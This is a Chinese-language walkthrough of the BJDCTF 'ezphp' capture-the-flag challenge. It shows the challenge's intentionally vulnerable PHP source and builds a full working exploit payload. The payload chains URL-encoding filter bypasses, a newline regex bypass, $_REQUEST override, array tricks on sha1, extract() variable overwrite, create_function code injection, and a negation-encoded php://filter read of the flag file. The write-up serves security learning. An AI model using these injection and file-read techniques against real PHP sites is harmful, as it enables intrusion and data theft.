BJDCTF-ezphp -wp

打开环境，f12查看一下源码
base32解码

1nD3x.php
访问一下页面出源码

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!

过滤比较多，一步步来看下

preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|ev
al|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|s
ess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', 
$_SERVER['QUERY_STRING'])

关键是$_SERVER[‘QUERY_STRING’]，获取参数但不会和浏览器一样进行url编码，因此可以通过url编码绕过过滤。
接下来是

 if (preg_match('/^aqua_is_cute$/', $_GET['debu']) 
 && $_GET['debu'] !== 'aqua_is_cute') 

这一个大家应该比较熟悉，只匹配第一行，用%0a即可绕过。

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a

再往下走

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
} 

$_REQUEST会同时接收post和get参数，优先接收post参数，使用只要post传入同名参数就可绕过

POST:   %64%65%62%75=1&file=2

接下来这个使用data协议即可

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里用数组绕过

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);

extract($_GET[“flag”]);
很明显，这里可以用来变量覆盖

$code(’’, $arg); 这里是重点，需要利用create_function函数
如果第二个参数可控，会引发注入。

var_dump(get_defined_vars());//函数可以将所有变量与值都进行输出，

flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//

就可以发现flag的真实位置

然后再利用require函数包含php://filter/convert.base64-encode/resource=rea1fl4g.php进行获取flag

然后再利用require函数包含php://filter/convert.base64-encode/resource=rea1fl4g.php进行获取flag（进行取反绕过）

payload:?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}%72%65%71%75%69%72%65(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
post:   %64%65%62%75=1&file=2